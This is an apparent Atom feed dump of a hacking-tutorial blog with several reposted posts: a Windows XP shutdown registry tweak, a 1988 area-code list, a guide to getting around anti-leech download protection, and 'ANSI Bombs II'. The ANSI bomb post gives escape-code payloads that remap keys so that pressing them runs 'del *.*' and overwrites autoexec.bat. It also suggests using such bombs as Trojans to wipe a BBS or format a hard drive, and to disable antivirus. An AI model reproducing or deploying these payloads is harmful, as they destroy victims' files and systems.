<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUcAQ386cCp7ImA9WhRRFE4.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058</id><updated>2011-11-27T15:37:22.118-08:00</updated><title>200+ HACKING TUTORIAL</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://200hacking-tutorial.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/200HackingTutorial" /><feedburner:info uri="200hackingtutorial" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEIFSHw9fCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-1538808704960928566</id><published>2009-11-03T03:08:00.001-08:00</published><updated>2009-11-03T03:08:39.264-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T03:08:39.264-08:00</app:edited><title>Auto End Tasks to Enable a Proper Shutdown, Win XP Tweak</title><content type="html">Auto End Tasks to Enable a Proper Shutdown&lt;br /&gt;&lt;br /&gt;This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.&lt;br /&gt;&lt;br /&gt;1. Copy the following (everything in the box) into notepad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;QUOTE&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]&lt;br /&gt;"ClearPageFileAtShutdown"=dword:00000001&lt;br /&gt;&lt;br /&gt;[HKEY_USERS\.DEFAULT\Control Panel\Desktop]&lt;br /&gt;"AutoEndTasks"="1"&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]&lt;br /&gt;"WaitToKillServiceTimeout"="1000"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Save the file as shutdown.reg&lt;br /&gt;3. Double click the file to import into your registry.&lt;br /&gt;&lt;br /&gt;NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-1538808704960928566?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/b-eQc-sGTr73nk51MiqWNTXEcAU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/b-eQc-sGTr73nk51MiqWNTXEcAU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/b-eQc-sGTr73nk51MiqWNTXEcAU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/b-eQc-sGTr73nk51MiqWNTXEcAU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/eAp8dlaZ_3g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/1538808704960928566/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/auto-end-tasks-to-enable-proper.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1538808704960928566?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1538808704960928566?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/eAp8dlaZ_3g/auto-end-tasks-to-enable-proper.html" title="Auto End Tasks to Enable a Proper Shutdown, Win XP Tweak" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/auto-end-tasks-to-enable-proper.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QMRHc6eCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-3485127519218326466</id><published>2009-11-03T02:49:00.001-08:00</published><updated>2009-11-03T02:49:45.910-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:49:45.910-08:00</app:edited><title>एरिया कोड एंड टाइम ZONE</title><content type="html">_   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _&lt;br /&gt; _| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_&lt;br /&gt;|_                                                                           _|&lt;br /&gt; _|      _   _                                                  _   _       |_&lt;br /&gt;|_      ((___))               cDc communications               ((___))       _|&lt;br /&gt; _|     [ x x ]                   presents...                  [ x x ]      |_&lt;br /&gt;|_       \   /                                                  \   /        _|&lt;br /&gt; _|      (` ')         AREA CODE AND TIME ZONE LISTING          (` ')       |_&lt;br /&gt;|_        (U)                                                    (U)         _|&lt;br /&gt; _|                                                                         |_&lt;br /&gt;|_                       by Bovine Priest and Cultee:                        _|&lt;br /&gt; _|                                                                         |_&lt;br /&gt;|_                           Reverend  Dial Tone                             _|&lt;br /&gt; _|                                                                         |_&lt;br /&gt;|_    dEM0n r0ACh uNDERGR0UNd    (300/1200/2400)           [806] 794-4362    _|&lt;br /&gt; _|   dRAG0NFIRe pRIVATe           (1200 only)             [609] 424-2606   |_&lt;br /&gt;|_   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _|&lt;br /&gt;  |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Ok this is nothing big, it's my third text file for 1988 from cDc&lt;br /&gt;  communications.  Here goes.&lt;br /&gt;&lt;br /&gt;                                Time Zones&lt;br /&gt;                                ----------&lt;br /&gt;&lt;br /&gt; Atlantic&lt;br /&gt; --------&lt;br /&gt;&lt;br /&gt; Newfoundland  Nova Scotia  New Brunswick&lt;br /&gt;&lt;br /&gt; Eastern&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; Maine  New Hampshire  Vermont  Massachussets  New York  Rhode Island &lt;br /&gt; Connecticut  Pennsylvania  New Jersey  Delaware  Maryland  Ohio  Indiana&lt;br /&gt; Michigan  West Virginia  Virginia  Kentucky  North Carolina  Tennessee&lt;br /&gt; South Carolina  Georgia  Florida  Quebec  Ontario&lt;br /&gt;&lt;br /&gt; Central&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; Manitoba  North Dakota  South Dakota  Minnesota  Wisconsin  Michigan  Iowa&lt;br /&gt; Nebraska  Illinois  Kansas  Missouri  Kentucky  Tennessee  Arkansas  Oklahoma&lt;br /&gt; Texas  Louisiana  Alabama  Mississippi  Indiana&lt;br /&gt;&lt;br /&gt; Mountain&lt;br /&gt; --------&lt;br /&gt;&lt;br /&gt; Alberta  Saskatchewan  Montana  Idaho  Wyoming  South Dakota  Nebraska&lt;br /&gt; Utah  Colorado  Kansas  Oklahoma  Arizona  New Mexico  &lt;br /&gt;&lt;br /&gt; Pacific&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; British Columbia  Washington  Montana  Oregon  Nevada  California  Utah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                            Area Code Listing&lt;br /&gt;                            -----------------&lt;br /&gt;&lt;br /&gt;   205 - Alabama              907 - Alaska                602 - Arizona&lt;br /&gt;   501 - Arkansas             714 - California (Orange)   818 - California&lt;br /&gt;   213 - California (LA)      916 - California            619 - California&lt;br /&gt;   415 - California (SF)      408 - California (San Jose) 303 - Colorado&lt;br /&gt;   203 - Connecticut          302 - Delaware              904 - Florida&lt;br /&gt;   305 - Florida (Miami)      404 - Georgia (Atlanta)     808 - Hawaii &lt;br /&gt;   208 - Idaho                312 - Illinois (Chicago)    317 - Indiana&lt;br /&gt;   219 - Indiana (Souend)     515 - Iowa (Des Moines)     316 - Kansas&lt;br /&gt;   502 - Kentucky             504 - Lousiana (N. Orleans) 207 - Maine&lt;br /&gt;   301 - Maryland             617 - Massachusetts         313 - Michigan &lt;br /&gt;   616 - Michigan             612 - Minnesota             601 - Mississippi&lt;br /&gt;   816 - Missouri (Kansas C)  314 - Kansas (St. Louis)    406 - Montana&lt;br /&gt;   402 - Nebraska             702 - Nevada                603 - New Hampshire&lt;br /&gt;   201 - New Jersey (Newark)  609 - New Jersey (I'm here) 505 - New Mexico&lt;br /&gt;   718 - NYC (Brooklyn, S.I.) 212 - NYC (Bronx, Mhattan)  518 - NY (Albany)&lt;br /&gt;   716 - NY (Buffalo)         516 - NY (Long Island)      315 - NY (Syracuse)&lt;br /&gt;   914 - NY (White Plains)    704 - North Carolina        919 - North Carolina&lt;br /&gt;   701 - North Dakota         513 - Ohio (Cincinnati)     216 - Ohio&lt;br /&gt;   614 - Ohio (Columbus)      419 - Ohio (Toledo)         405 - Oklahoma&lt;br /&gt;   918 - Oklahoma (Tulsa)     503 - Oregon                215 - Philadelphia PA&lt;br /&gt;   401 - Rhode Island (cough) 803 - South Carolina        605 - South Dakota&lt;br /&gt;   901 - Tennessee (Memphis)  615 - Tennessee (Nashville) 806 - Texas(Cow Hell)&lt;br /&gt;   214 - Texas (Dallas)       817 - Texas (Forth Worth)   713 - Texas (Houston)&lt;br /&gt;   512 - Texas (San Antonio)  801 - Utah                  802 - Vermont&lt;br /&gt;   703 - Virginia (Arlington) 804 - Virginia (Richmond)   202 - Washington DC&lt;br /&gt;   206 - Washington (Seattle) 304 - West Virginia         608 - Wisconsin&lt;br /&gt;   307 - Wyoming              666 - Where do you think&lt;br /&gt;&lt;br /&gt;        Well that will make a nice printout for your wall, won't it.  Now&lt;br /&gt;    you know where you're calling...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Thanks to : Franken Gibe (cause he made me happy haha) and Swamp Rat&lt;br /&gt;&lt;br /&gt;===============================================================================&lt;br /&gt; (c) 1987, 1988 cDc communications           e.o.f. 10:01 EST Jersey 1/13/88-38&lt;br /&gt;&lt;br /&gt;                         by Reverend  Dial Tone [Joel]&lt;br /&gt;&lt;br /&gt;                  BOVINE IS FINE | BEEF IS CHIEF | COW IS NOW&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-3485127519218326466?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8hJUAFHCY4Tz7gYMm6p7r3DSuBg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8hJUAFHCY4Tz7gYMm6p7r3DSuBg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8hJUAFHCY4Tz7gYMm6p7r3DSuBg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8hJUAFHCY4Tz7gYMm6p7r3DSuBg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/lyXkDSfstGs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/3485127519218326466/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/zone.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/3485127519218326466?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/3485127519218326466?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/lyXkDSfstGs/zone.html" title="एरिया कोड एंड टाइम ZONE" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/zone.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QEQ3s9fyp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-4163350071556493699</id><published>2009-11-03T02:47:00.000-08:00</published><updated>2009-11-03T02:48:22.567-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:48:22.567-08:00</app:edited><title>anti leech hacking tutorial</title><content type="html">I was just asking to know if there is some audiance before&lt;br /&gt;here is my methode&lt;br /&gt;for hacking anti leech&lt;br /&gt;we gona use a soft calde proxo mitron&lt;br /&gt;proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto&lt;br /&gt;w-w.proxomitron.info&lt;br /&gt;download a copy of the soft&lt;br /&gt;then you need to unselect all the option of the soft&lt;br /&gt;and clik on log window&lt;br /&gt;no go to a anti leech web site&lt;br /&gt;use the plug in and not netpumper&lt;br /&gt;in the plugin&lt;br /&gt;add a proxy&lt;br /&gt;you must put this proxy adress&lt;br /&gt;127.0.0.1 8080 for http&lt;br /&gt;the same for ftp&lt;br /&gt;now select the file to download a click download&lt;br /&gt;watch in proximitron log winodws you will see many internal forwarding&lt;br /&gt;if the file are located in a ftp server&lt;br /&gt;proximitron dont handel them&lt;br /&gt;and you will find an error&lt;br /&gt;in a ftp adress&lt;br /&gt;if it's a http adress&lt;br /&gt;you will find some thing like&lt;br /&gt;get /blablalma/bla/file&lt;br /&gt;site tr.com&lt;br /&gt;and you have foudn the adress&lt;br /&gt;it' tr.com/blabla/file&lt;span style="font-weight:bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-4163350071556493699?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rT_D0zw411XdHSKMzxg6qbrL9A0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rT_D0zw411XdHSKMzxg6qbrL9A0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rT_D0zw411XdHSKMzxg6qbrL9A0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rT_D0zw411XdHSKMzxg6qbrL9A0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/uXEquz8GnKE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/4163350071556493699/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/anti-leech-hacking-tutorial.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4163350071556493699?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4163350071556493699?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/uXEquz8GnKE/anti-leech-hacking-tutorial.html" title="anti leech hacking tutorial" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/anti-leech-hacking-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UHSXc_fyp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-6461779789280849324</id><published>2009-11-03T02:46:00.001-08:00</published><updated>2009-11-03T02:47:18.947-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:47:18.947-08:00</app:edited><title>ANSIBombs II Tips And Techniques</title><content type="html">ANSI Bombs II: Tips and Techniques&lt;br /&gt;&lt;br /&gt;                                  By&lt;br /&gt;&lt;br /&gt;                           The Raging Golem&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    I. Introduction&lt;br /&gt;&lt;br /&gt;    After writing the last file, a lot of people let me know about the&lt;br /&gt;mistakes I had made.  I guess this file is to clear up those miscon&lt;br /&gt;ceptions and to let people know about some of the little tricks behind&lt;br /&gt;ANSI bombing.  Of course, ANSI bombing isn't as dangerous as a lot of&lt;br /&gt;people make it out to be, but bombs are still fun to make and with a&lt;br /&gt;little planning deliver some degree of success.  ANSI bombing can&lt;br /&gt;be dangerous, so I am tired of hearing people say that an ANSI bomb is&lt;br /&gt;harmless, another misconception I hope to clear up.  Now, most people&lt;br /&gt;that have spent time experimenting with ANSI bombs probably know most&lt;br /&gt;of the material in this file, but it might be fun just to read anyway.&lt;br /&gt;&lt;br /&gt;    2. Misconceptions&lt;br /&gt;&lt;br /&gt;    In my last file, I made three major blunders, or what I would con&lt;br /&gt;sider to be major blunders.  First, I said that ANSI bombs could be&lt;br /&gt;used on BBSs to screw people over, but I guess I was wrong.  It was&lt;br /&gt;pure speculation on what other people had said that made me say that.&lt;br /&gt;ANSI codes, including those that redefine keys, are sent over the&lt;br /&gt;lines, but most comm programs don't use ANSI.SYS; they use their own&lt;br /&gt;version of ANSI, which doesn't support key redefinition.  Some people&lt;br /&gt;might have a program that supports it, but I haven't seen it yet.  I&lt;br /&gt;have tested bombs on systems on my own and proved to myself that they&lt;br /&gt;don't work.  I have also seen people fuck up bombs that would have&lt;br /&gt;worked by uploading them in a message.  The second misconception is&lt;br /&gt;that ANSI bombs are dangerous when put into zips.  I haven't really&lt;br /&gt;tested this out much, but from what I hear with the newer versions of&lt;br /&gt;PKZIP, you have to specify that you want to see ANSI comments when&lt;br /&gt;unzipping.  It is unlikely that you would waste your time unzipping&lt;br /&gt;something again after seeing "Format C:" in the middle of an escape&lt;br /&gt;code.  I could be mistaken, but I'm pretty sure that I'm right. Third,&lt;br /&gt;the last thing that was a misconception is that VANSI.SYS will protect&lt;br /&gt;your system from key redefinition.  Maybe the newer versions don't&lt;br /&gt;support key redefinition, but mine sure as hell does.  There are pro&lt;br /&gt;grams out there that don't support it, but I don't know any of the&lt;br /&gt;names.  Of course, if I were you, I would be wary about using some&lt;br /&gt;thing other then ANSI.  I have a few friends that are working on "A&lt;br /&gt;Better ANSI" for PDers, which, instead of being better, really screws&lt;br /&gt;them over.&lt;br /&gt;&lt;br /&gt;    3. An Overview&lt;br /&gt;&lt;br /&gt;    Now, in case you haven't read my other file (it's called ANSI.DOC,&lt;br /&gt;kind of lame but fairly informative), I'll briefly go over the struc&lt;br /&gt;ture of an ANSI bomb.  Skip this part if you know what an ANSI bomb is&lt;br /&gt;and how to make one.&lt;br /&gt;    In ANSI everything is done with a system of escape codes.  Key&lt;br /&gt;redefinition is one of those codes.  (From now, whenever I say ESC, I&lt;br /&gt;really mean the arrow, ).  Here is a basic command:&lt;br /&gt;                          ESC [13;27p&lt;br /&gt;    This would make the &lt;Enter&gt; key (13 is the code for enter) turn&lt;br /&gt;into the &lt;Escape&gt; key (27 is the code for escape).  The  always has to&lt;br /&gt;be there, as do the bracket and the "p", but what is between the&lt;br /&gt;bracket and the "p" is up to you.  The first number is always the key&lt;br /&gt;that you want to be redefined.  If there is a zero for the first num&lt;br /&gt;ber, that means the key is in the extended set, and therefore, the&lt;br /&gt;first two numbers are the code.  The bracket signifies the beginning&lt;br /&gt;of the definition, and the "p" signifies the end.  Whenever you want a&lt;br /&gt;key pressed, you have to use it's numerical code (i.e. 13 is the code&lt;br /&gt;for &lt;Enter&gt;).  You can't redefine strings, but you can redefine a key&lt;br /&gt;to become a string (i.e. ESC [13;"Blah"p would make &lt;Enter&gt; say&lt;br /&gt;"Blah").  Strings must be inside of quotes, which includes commands&lt;br /&gt;that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p&lt;br /&gt;would delete everything in the directory, note that 13 stands for&lt;br /&gt;Enter in this case, not the redefinition).  An escape code can have&lt;br /&gt;as many commands as you want in it, but each one has to be separated&lt;br /&gt;by a semi-colon.  You can only redefine one key in each escape code,&lt;br /&gt;so if you want to redefine another key, you have to start another&lt;br /&gt;escape code.  That's about it when it comes to bombs, now that you&lt;br /&gt;have the basics, all you really need is a little imagination.&lt;br /&gt;&lt;br /&gt;    4. Tips and Tricks&lt;br /&gt;&lt;br /&gt;    A. The Y/N Redefinition&lt;br /&gt;&lt;br /&gt;    Now, here's a simple but fun little ANSI bomb:&lt;br /&gt;&lt;br /&gt;                   ESC [78;89;13p ESC [110;121;13p&lt;br /&gt;&lt;br /&gt;    Basically, all this does is turn a capital "N" into "Y" and a&lt;br /&gt;lower-case "n" into "y".  Alone this doesn't do too much, except for&lt;br /&gt;screw around with what they are typing.  On the other hand, try adding&lt;br /&gt;this line of code to the ANSI bomb:&lt;br /&gt;&lt;br /&gt;                   ESC [13;27;13;"del *.*";13p&lt;br /&gt;&lt;br /&gt;    Most people would automatically press "N" when they see "Del *.*",&lt;br /&gt;but when they do, they will be screwed over.  This portion of a bomb&lt;br /&gt;is very useful when it comes to making good bombs.&lt;br /&gt;&lt;br /&gt;    B. Screwing with the Autoexec.bat&lt;br /&gt;&lt;br /&gt;    Here is another line of code that you may find useful in future&lt;br /&gt;bombing projects:&lt;br /&gt;&lt;br /&gt;                   ESC [13;27;13;"copy bomb.ans c:\";13;"copy con&lt;br /&gt;                     c:\autoexec.bat";13;"type bomb.ans";13;0;109;&lt;br /&gt;                     13;"cls";13p&lt;br /&gt;&lt;br /&gt;    This line of code makes the bomb a little more permanent and a&lt;br /&gt;little more dangerous.  It copies the bomb into the root directory,&lt;br /&gt;then it change/creates the autoexec.bat, so the bomb is typed after&lt;br /&gt;every boot-up.  Of course, the person could just boot off a disk, but&lt;br /&gt;I'm sure this would get them a few time.  It could also probably&lt;br /&gt;appear as though it were a virus, scaring the shit out of the owner of&lt;br /&gt;the computer.&lt;br /&gt;&lt;br /&gt;    C. Turning Commands into Other Commands&lt;br /&gt;&lt;br /&gt;    One of the best pranks to do to someone using an ANSI bomb is to&lt;br /&gt;redefine commands.  That way if they type in "copy", it will turn into&lt;br /&gt;"Del *.*".  Since you can't actually change the whole string, you have&lt;br /&gt;to take a different approach.  You have to change a few of the keys,&lt;br /&gt;so when typed, they type and execute the desired command.  I guess it&lt;br /&gt;would be coolest to have to command exactly the same length; that way&lt;br /&gt;you could redefine one key at a time to obtain the desired effect.&lt;br /&gt;It doesn't really matter how you do it, just as long as it works.  You&lt;br /&gt;might make an ANSI that says "Wow, check out what this bomb did to&lt;br /&gt;your directory", and then have it redefine the keys, so when they type&lt;br /&gt;in "dir", it turns into "del".  I think you get the idea.&lt;br /&gt;&lt;br /&gt;    D. Trojans&lt;br /&gt;&lt;br /&gt;    By now, everybody knows what a Trojan is.  You probably wouldn't&lt;br /&gt;think so, but ANSI bombs can be used as Trojans and in Trojans. First,&lt;br /&gt;if you are planning on crashing a board, but you're not very good at&lt;br /&gt;programming, then make yourself an ANSI bomb.  Try to find out in&lt;br /&gt;which directory the main files for running the BBS are stored. They&lt;br /&gt;are usually under the name BBS or the name of the software, like WWIV&lt;br /&gt;or Telegard.  Then, make a bomb that either just deletes all the files&lt;br /&gt;in that directory, or if you want the board to be down a longer time,&lt;br /&gt;then make one that formats the Hard Drive.  In this form ANSI bombs,&lt;br /&gt;if they are well planned out, can be easy to make Trojans. Second,&lt;br /&gt;ANSI bombs can used in Trojans.  This is probably stretching it a&lt;br /&gt;little, but say you wanted to write a Trojan that would delete a&lt;br /&gt;directory, every time you typed a certain key, then you could use an&lt;br /&gt;ANSI bomb.  First make some batch and com/exe files that would search&lt;br /&gt;for protecting programs like Norton and turn them off.  Then you could&lt;br /&gt;copy the file into the root directory, along with your versions of&lt;br /&gt;autoexec.bat, config.sys, ANSI.sys, and whatever else.  (To make it&lt;br /&gt;look more realistic make the files Resource.00x to trick the user,&lt;br /&gt;then when copying, use the real name).  Then somehow lock the computer&lt;br /&gt;up or do a warm boot through some pd program, which is easily attain&lt;br /&gt;able.  When the computer loads back up, you can screw that shit out of&lt;br /&gt;them with your ANSI bomb.&lt;br /&gt;&lt;br /&gt;    5. Conclusion&lt;br /&gt;    It would seem to some people that ANSI bombs are very dangerous,&lt;br /&gt;and to others that they are stupid or lame.  Personally, I think that&lt;br /&gt;ANSI bombs are just plain old fun.  They're not too hard to make, but&lt;br /&gt;there is a lot that you can do with them.  They are nowhere near as&lt;br /&gt;malicious as virii, so if you're looking for unstoppable destruction,&lt;br /&gt;look elsewhere, but they do serve their purpose.  I know that there&lt;br /&gt;are programs out there that help you program ANSI bombs, but I think&lt;br /&gt;that they kind of take the fun out of them.  Probably, some day soon,&lt;br /&gt;I'll quit making ANSI bombs and start looking more into virii and pure&lt;br /&gt;Trojans.  But for now, ANSI bombs suit my purpose.&lt;br /&gt;&lt;br /&gt;                               -TRG&lt;br /&gt;&lt;br /&gt;    Appendix A: Key Code Program&lt;br /&gt;&lt;br /&gt;    Here is a small program, which I find very helpful.  After loading&lt;br /&gt;it up, it tells you the numeric code for every key you type in.  Spe&lt;br /&gt;cial means that it is in the extended set and therefore uses zero, and&lt;br /&gt;"q" ends the program.  Unfortunately,  I can't take any credit for&lt;br /&gt;this program.  I got it over the phone from Heavymetl, and it was made&lt;br /&gt;by his brother.  So many thanks go out to Heavymetl and his brother,&lt;br /&gt;even though they'll probably be a little pissed at me for including&lt;br /&gt;this in my file.  It is in Pascal and can be compiled in most Turbo&lt;br /&gt;Pascal compilers.&lt;br /&gt;&lt;br /&gt;    Use CRT;&lt;br /&gt;    Var&lt;br /&gt;      CH : CHAR;&lt;br /&gt;    Begin&lt;br /&gt;      Repeat&lt;br /&gt;        CH := ReadKey;&lt;br /&gt;        If CH = #0 then&lt;br /&gt;          Begin&lt;br /&gt;            CH := ReadKey;&lt;br /&gt;            WriteLn(CH,'(Special) - ',ORD(CH));&lt;br /&gt;          End&lt;br /&gt;        Else&lt;br /&gt;          WriteLn(CH,' - ',ORD(CH));&lt;br /&gt;      Until&lt;br /&gt;        CH = 'q';&lt;br /&gt;    End.&lt;br /&gt;&lt;br /&gt;    Thanks go out to:&lt;br /&gt;&lt;br /&gt;    Heavymetl and his brother for the program and ideas.  Weapons&lt;br /&gt;Master for the input and the help he has given me.  Everybody else who&lt;br /&gt;has helped me out; you know who you are, or at least, you think you&lt;br /&gt;know who you are.  Most of all, to those brave soldiers risking their&lt;br /&gt;asses everyday for us half-way across the world in Saudi Arabia.  Your&lt;br /&gt;deeds haven't gone unnoticed, of course that's mainly because that's&lt;br /&gt;all the news ever shows nowadays.  Also, to anybody else I might have&lt;br /&gt;forgotten.  Thanks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-6461779789280849324?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nHM60pwTH_WSgUJSLtjnmpswmAA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nHM60pwTH_WSgUJSLtjnmpswmAA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
